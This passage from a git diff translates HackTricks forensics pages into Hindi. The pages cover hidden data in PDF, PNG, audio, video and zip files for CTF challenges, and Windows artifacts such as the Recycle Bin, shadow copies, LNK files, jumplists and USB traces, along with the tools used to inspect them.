निम्नलिखित में छिपा हो सकता है: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- अदृश्य परतें +- Adobe द्वारा XMP मेटाडेटा प्रारूप +- वृद्धिशील पीढ़ियाँ +- पृष्ठभूमि के समान रंग का पाठ +- छवियों के पीछे का पाठ या ओवरलैपिंग छवियाँ +- गैर-प्रदर्शित टिप्पणियाँ -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +कस्टम PDF विश्लेषण के लिए, Python पुस्तकालय जैसे [PeepDF](https://github.com/jesparza/peepdf) का उपयोग करके विशेष पार्सिंग स्क्रिप्ट बनाई जा सकती हैं। इसके अलावा, PDF के छिपे डेटा भंडारण की क्षमता इतनी विशाल है कि NSA द्वारा PDF जोखिमों और प्रतिकृतियों पर गाइड जैसे संसाधन, हालांकि अब इसके मूल स्थान पर होस्ट नहीं किए गए हैं, फिर भी मूल्यवान अंतर्दृष्टि प्रदान करते हैं। [गाइड की एक प्रति](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) और Ange Albertini द्वारा [PDF प्रारूप ट्रिक्स](https://github.com/corkami/docs/blob/master/PDF/PDF.md) का एक संग्रह इस विषय पर आगे पढ़ने के लिए प्रदान कर सकता है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..23f7aa196 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG फ़ाइलें** **CTF चुनौतियों** में अपनी **लॉसलेस संकुचन** के लिए अत्यधिक प्रशंसित हैं, जो उन्हें छिपे हुए डेटा को एम्बेड करने के लिए आदर्श बनाती हैं। **Wireshark** जैसे उपकरण PNG फ़ाइलों का विश्लेषण करने में सक्षम हैं, नेटवर्क पैकेट के भीतर उनके डेटा को काटकर, एम्बेडेड जानकारी या विसंगतियों को प्रकट करते हैं। -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNG फ़ाइलों की अखंडता की जांच करने और भ्रष्टाचार को ठीक करने के लिए, **pngcheck** एक महत्वपूर्ण उपकरण है, जो PNG फ़ाइलों को मान्य और निदान करने के लिए कमांड-लाइन कार्यक्षमता प्रदान करता है ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))। जब फ़ाइलें सरल सुधारों से परे होती हैं, तो [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) जैसी ऑनलाइन सेवाएँ **भ्रष्ट PNGs को ठीक करने** के लिए एक वेब-आधारित समाधान प्रदान करती हैं, CTF प्रतिभागियों के लिए महत्वपूर्ण डेटा की वसूली में सहायता करती हैं। -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +ये रणनीतियाँ CTFs में एक व्यापक दृष्टिकोण के महत्व को रेखांकित करती हैं, विश्लेषणात्मक उपकरणों और मरम्मत तकनीकों के मिश्रण का उपयोग करके छिपे हुए या खोए हुए डेटा को उजागर और पुनर्प्राप्त करने के लिए। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..94ae141e9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**ऑडियो और वीडियो फ़ाइल हेरफेर** **CTF फॉरेंसिक्स चुनौतियों** में एक मुख्य तत्व है, जो **स्टेगनोग्राफी** और मेटाडेटा विश्लेषण का उपयोग करके गुप्त संदेशों को छिपाने या प्रकट करने के लिए किया जाता है। फ़ाइल मेटाडेटा की जांच और सामग्री प्रकारों की पहचान के लिए **[mediainfo](https://mediaarea.net/en/MediaInfo)** और **`exiftool`** जैसे उपकरण आवश्यक हैं। -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +ऑडियो चुनौतियों के लिए, **[Audacity](http://www.audacityteam.org/)** तरंग रूपों को देखने और स्पेक्ट्रोग्राम का विश्लेषण करने के लिए एक प्रमुख उपकरण है, जो ऑडियो में एन्कोडेड पाठ को उजागर करने के लिए आवश्यक है। **[Sonic Visualiser](http://www.sonicvisualiser.org/)** विस्तृत स्पेक्ट्रोग्राम विश्लेषण के लिए अत्यधिक अनुशंसित है। **Audacity** ऑडियो हेरफेर की अनुमति देता है जैसे ट्रैकों को धीमा करना या उलटना ताकि छिपे हुए संदेशों का पता लगाया जा सके। **[Sox](http://sox.sourceforge.net/)**, एक कमांड-लाइन उपयोगिता, ऑडियो फ़ाइलों को परिवर्तित और संपादित करने में उत्कृष्ट है। -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**लीस्ट सिग्निफिकेंट बिट्स (LSB)** हेरफेर ऑडियो और वीडियो स्टेगनोग्राफी में एक सामान्य तकनीक है, जो मीडिया फ़ाइलों के निश्चित आकार के टुकड़ों का उपयोग करके डेटा को छिपाने के लिए किया जाता है। **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** **DTMF टोन** या **मॉर्स कोड** के रूप में छिपे संदेशों को डिकोड करने के लिए उपयोगी है। -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +वीडियो चुनौतियाँ अक्सर कंटेनर फ़ॉर्मेट्स को शामिल करती हैं जो ऑडियो और वीडियो स्ट्रीम को बंडल करती हैं। **[FFmpeg](http://ffmpeg.org/)** इन फ़ॉर्मेट्स का विश्लेषण और हेरफेर करने के लिए जाना जाता है, जो सामग्री को डिमल्टिप्लेक्सिंग और प्लेबैक करने में सक्षम है। डेवलपर्स के लिए, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** FFmpeg की क्षमताओं को Python में उन्नत स्क्रिप्टेबल इंटरैक्शन के लिए एकीकृत करता है। -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +इन उपकरणों की श्रृंखला CTF चुनौतियों में आवश्यक बहुपरकारीता को उजागर करती है, जहाँ प्रतिभागियों को ऑडियो और वीडियो फ़ाइलों के भीतर छिपे डेटा को उजागर करने के लिए विश्लेषण और हेरफेर तकनीकों का एक विस्तृत स्पेक्ट्रम लागू करना होता है। -## References +## संदर्भ - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..4ba876611 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**कमांड-लाइन उपकरण** **zip फाइलों** के प्रबंधन के लिए आवश्यक हैं, जो zip फाइलों का निदान, मरम्मत और क्रैक करने में मदद करते हैं। यहाँ कुछ प्रमुख उपयोगिताएँ हैं: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: बताता है कि zip फाइल क्यों डिकंप्रेस नहीं हो रही है। +- **`zipdetails -v`**: zip फाइल प्रारूप फ़ील्ड का विस्तृत विश्लेषण प्रदान करता है। +- **`zipinfo`**: बिना निकालें zip फाइल की सामग्री सूचीबद्ध करता है। +- **`zip -F input.zip --out output.zip`** और **`zip -FF input.zip --out output.zip`**: भ्रष्ट zip फाइलों की मरम्मत करने का प्रयास करते हैं। +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip पासवर्ड के लिए ब्रूट-फोर्स क्रैकिंग का एक उपकरण, जो लगभग 7 वर्णों तक के पासवर्ड के लिए प्रभावी है। -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip फाइल प्रारूप विनिर्देशन](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip फाइलों की संरचना और मानकों पर व्यापक विवरण प्रदान करता है। -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +यह ध्यान रखना महत्वपूर्ण है कि पासवर्ड-संरक्षित zip फाइलें **फाइल नामों या फाइल आकारों को एन्क्रिप्ट नहीं करती हैं**, जो एक सुरक्षा दोष है जो RAR या 7z फाइलों के साथ साझा नहीं किया जाता है, जो इस जानकारी को एन्क्रिप्ट करते हैं। इसके अलावा, पुराने ZipCrypto विधि के साथ एन्क्रिप्ट की गई zip फाइलें **प्लेनटेक्स्ट हमले** के प्रति संवेदनशील हैं यदि एक संकुचित फाइल की अनएन्क्रिप्टेड प्रति उपलब्ध है। यह हमला ज्ञात सामग्री का उपयोग करके zip के पासवर्ड को क्रैक करने के लिए किया जाता है, जो [HackThis के लेख](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) में विस्तृत रूप से बताया गया है और [इस शैक्षणिक पत्र](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) में आगे समझाया गया है। हालाँकि, **AES-256** एन्क्रिप्शन के साथ सुरक्षित zip फाइलें इस plaintext हमले के प्रति प्रतिरक्षित हैं, जो संवेदनशील डेटा के लिए सुरक्षित एन्क्रिप्शन विधियों का चयन करने के महत्व को दर्शाता है। ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..8ad1567b7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -8,497 +8,487 @@ ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +पथ `\Users\\AppData\Local\Microsoft\Windows\Notifications` में आप डेटाबेस `appdb.dat` (Windows anniversary से पहले) या `wpndatabase.db` (Windows Anniversary के बाद) पा सकते हैं। -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +इस SQLite डेटाबेस के अंदर, आप `Notification` तालिका पा सकते हैं जिसमें सभी सूचनाएँ (XML प्रारूप में) होती हैं जो दिलचस्प डेटा हो सकता है। ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline एक Windows विशेषता है जो **कालानुक्रमिक इतिहास** प्रदान करती है वेब पृष्ठों का दौरा किया गया, संपादित दस्तावेज़, और निष्पादित अनुप्रयोग। -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +डेटाबेस पथ `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` में स्थित है। इस डेटाबेस को SQLite टूल या टूल [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) के साथ खोला जा सकता है **जो 2 फ़ाइलें उत्पन्न करता है जिन्हें टूल** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **के साथ खोला जा सकता है।** ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +डाउनलोड की गई फ़ाइलों में **ADS Zone.Identifier** हो सकता है जो **कैसे** इसे **डाउनलोड** किया गया था, जैसे कि इंट्रानेट, इंटरनेट, आदि। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आमतौर पर यहां तक कि **अधिक** **जानकारी** रखते हैं जैसे कि **URL** जहां से फ़ाइल डाउनलोड की गई थी। ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10 में **Recycle Bin** को ड्राइव के रूट में फ़ोल्डर **`$Recycle.bin`** में पाया जा सकता है (`C:\$Recycle.bin`).\ +जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: फ़ाइल जानकारी (जब इसे हटाया गया था) +- `$R{id}`: फ़ाइल की सामग्री ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +इन फ़ाइलों के साथ आप टूल [**Rifiuti**](https://github.com/abelcheung/rifiuti2) का उपयोग कर सकते हैं ताकि हटाई गई फ़ाइलों का मूल पता और यह कब हटाई गई थी (Vista – Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)। ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### वॉल्यूम शैडो कॉपियाँ -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +शैडो कॉपी एक तकनीक है जो Microsoft Windows में शामिल है, जो कंप्यूटर फ़ाइलों या वॉल्यूम के **बैकअप कॉपियाँ** या स्नैपशॉट बनाने की अनुमति देती है, भले ही वे उपयोग में हों। -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +ये बैकअप आमतौर पर फ़ाइल सिस्टम की जड़ से `\System Volume Information` में स्थित होते हैं और नाम **UIDs** से बना होता है जो निम्नलिखित चित्र में दिखाया गया है: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter** के साथ फॉरेंसिक इमेज को माउंट करते समय, टूल [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) का उपयोग शैडो कॉपी का निरीक्षण करने और यहां तक कि शैडो कॉपी बैकअप से **फाइलें निकालने** के लिए किया जा सकता है। ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +रजिस्ट्री प्रविष्टि `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` उन फ़ाइलों और कुंजियों को **बैकअप न करने** के लिए शामिल करती है: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +रजिस्ट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` में `वॉल्यूम शैडो कॉपियाँ` के बारे में कॉन्फ़िगरेशन जानकारी भी शामिल है। -### Office AutoSaved Files +### ऑफिस ऑटोसेव्ड फाइलें -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +आप ऑफिस ऑटोसेव्ड फाइलें निम्नलिखित स्थान पर पा सकते हैं: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## शेल आइटम -A shell item is an item that contains information about how to access another file. +एक शेल आइटम एक ऐसा आइटम है जिसमें किसी अन्य फ़ाइल तक पहुँचने के बारे में जानकारी होती है। -### Recent Documents (LNK) +### हाल के दस्तावेज़ (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **स्वचालित रूप से** इन **शॉर्टकट्स** को तब **बनाता है** जब उपयोगकर्ता **एक फ़ाइल खोलता है, उपयोग करता है या बनाता है**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +- ऑफिस: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +जब एक फ़ोल्डर बनाया जाता है, तो फ़ोल्डर, पैरेंट फ़ोल्डर और दादा फ़ोल्डर के लिए एक लिंक भी बनाया जाता है। -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **उद्गम के बारे में जानकारी** **रखती हैं** जैसे कि यह **फ़ाइल** **या** **फ़ोल्डर** है, उस फ़ाइल के **MAC** **समय**, फ़ाइल कहाँ संग्रहीत है उसका **वॉल्यूम जानकारी** और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनर्प्राप्त करने में सहायक हो सकती है यदि वे हटा दी गई हों। -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +इसके अलावा, लिंक फ़ाइल की **तारीख बनाई गई** वह पहली **बार** है जब मूल फ़ाइल **पहली** **बार** **उपयोग की गई** और लिंक फ़ाइल की **तारीख** **संशोधित** वह **अंतिम** **बार** है जब मूल फ़ाइल का उपयोग किया गया था। -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +इन फ़ाइलों का निरीक्षण करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं। -In this tools you will find **2 sets** of timestamps: +इस टूल में आपको **2 सेट** टाइमस्टैम्प मिलेंगे: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **पहला सेट:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **दूसरा सेट:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate। -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +पहले सेट का टाइमस्टैम्प **फ़ाइल के स्वयं के टाइमस्टैम्प** को संदर्भित करता है। दूसरा सेट **लिंक की गई फ़ाइल के टाइमस्टैम्प** को संदर्भित करता है। +आप Windows CLI टूल चलाकर समान जानकारी प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +इस मामले में, जानकारी एक CSV फ़ाइल के अंदर सहेजी जाएगी। -In this case, the information is going to be saved inside a CSV file. +### जम्पलिस्ट -### Jumplists +ये हाल के फ़ाइलें हैं जो प्रत्येक एप्लिकेशन के लिए इंगित की गई हैं। यह **एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलों की सूची** है जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। इन्हें **स्वचालित रूप से या कस्टम** रूप से बनाया जा सकता है। -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +स्वचालित रूप से बनाए गए **जम्पलिस्ट** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहीत होते हैं। जम्पलिस्ट का नाम `{id}.autmaticDestinations-ms` प्रारूप का पालन करता है जहाँ प्रारंभिक ID एप्लिकेशन की ID है। -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +कस्टम जम्पलिस्ट `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहीत होते हैं और इन्हें आमतौर पर एप्लिकेशन द्वारा बनाया जाता है क्योंकि फ़ाइल के साथ कुछ **महत्वपूर्ण** हुआ है (शायद पसंदीदा के रूप में चिह्नित किया गया है) -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +किसी भी जम्पलिस्ट का **निर्माण समय** **पहली बार फ़ाइल के एक्सेस किए जाने का समय** और **संशोधित समय अंतिम बार** को इंगित करता है। -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +आप जम्पलिस्ट की जांच [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके कर सकते हैं। ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_ध्यान दें कि JumplistExplorer द्वारा प्रदान किए गए टाइमस्टैम्प जम्पलिस्ट फ़ाइल से संबंधित हैं_) -### Shellbags +### शेलबैग -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**शेलबैग क्या हैं, यह जानने के लिए इस लिंक का पालन करें।**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBs का उपयोग -It's possible to identify that a USB device was used thanks to the creation of: +यह पहचानना संभव है कि एक USB डिवाइस का उपयोग किया गया था, निम्नलिखित के निर्माण के कारण: -- Windows Recent Folder -- Microsoft Office Recent Folder -- Jumplists +- Windows हाल की फ़ोल्डर +- Microsoft Office हाल की फ़ोल्डर +- जम्पलिस्ट -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की ओर इशारा करने के बजाय WPDNSE फ़ोल्डर की ओर इशारा करती है: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE फ़ोल्डर में फ़ाइलें मूल फ़ाइलों की एक प्रति हैं, इसलिए ये PC के पुनरारंभ के दौरान जीवित नहीं रहेंगी और GUID एक शेलबैग से लिया गया है। -### Registry Information +### रजिस्ट्री जानकारी -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[यह पृष्ठ देखें](interesting-windows-registry-keys.md#usb-information) कि कौन से रजिस्ट्री कुंजी USB जुड़े उपकरणों के बारे में दिलचस्प जानकारी रखती हैं। -### setupapi +### सेटअपएपीआई -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB कनेक्शन कब उत्पन्न हुआ, इसके बारे में टाइमस्टैम्प प्राप्त करने के लिए फ़ाइल `C:\Windows\inf\setupapi.dev.log` की जांच करें ( `Section start` के लिए खोजें)। -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) -### USB Detective +### USB डिटेक्टिव -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) का उपयोग उन USB उपकरणों के बारे में जानकारी प्राप्त करने के लिए किया जा सकता है जो एक छवि से जुड़े हुए हैं। ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### प्लग एंड प्ले क्लीनअप -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +'प्लग एंड प्ले क्लीनअप' के रूप में ज्ञात अनुसूचित कार्य मुख्य रूप से पुराने ड्राइवर संस्करणों को हटाने के लिए डिज़ाइन किया गया है। इसके निर्दिष्ट उद्देश्य के विपरीत कि नवीनतम ड्राइवर पैकेज संस्करण को बनाए रखा जाए, ऑनलाइन स्रोतों का सुझाव है कि यह 30 दिनों से निष्क्रिय ड्राइवरों को भी लक्षित करता है। परिणामस्वरूप, पिछले 30 दिनों में जुड़े नहीं होने वाले हटाने योग्य उपकरणों के ड्राइवरों को हटाने के अधीन किया जा सकता है। -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +यह कार्य निम्नलिखित पथ पर स्थित है: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +कार्य की सामग्री को दर्शाने 